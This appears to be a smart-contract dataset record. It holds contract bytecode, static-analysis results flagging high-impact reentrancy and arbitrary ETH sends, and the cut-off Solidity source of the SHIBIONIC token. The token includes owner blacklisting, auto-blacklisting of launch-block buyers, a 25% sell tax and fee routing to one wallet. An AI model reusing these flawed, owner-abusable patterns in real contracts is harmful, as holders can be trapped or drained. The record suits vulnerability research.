000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122068c4c89b851e2c5c98fe50d24c3e63c34e3f62d2a2454119c0c5eb82a8ebc07464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,908
0x61c570289bd5b4697a13cc98d1308afd35586d55
/** *Submitted for verification at Etherscan.io on 2022-03-07 */ /** https://t.me/shibionicETH */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SHIBIONIC is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SHIBIONIC";// string private constant _symbol = "SHBNC";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 3;// uint256 private _taxFeeOnBuy = 6;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 25;// early sell tax 25% to prevent dump //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xb72c9A4cA525f5BfA1CB72BeC338d120E5394354);// address payable private _marketingAddress = payable(0xb72c9A4cA525f5BfA1CB72BeC338d120E5394354);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000 * 10**9; // uint256 public _maxWalletSize = 10000000 * 10**9; // uint256 public _swapTokensAtAmount = 1500000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, 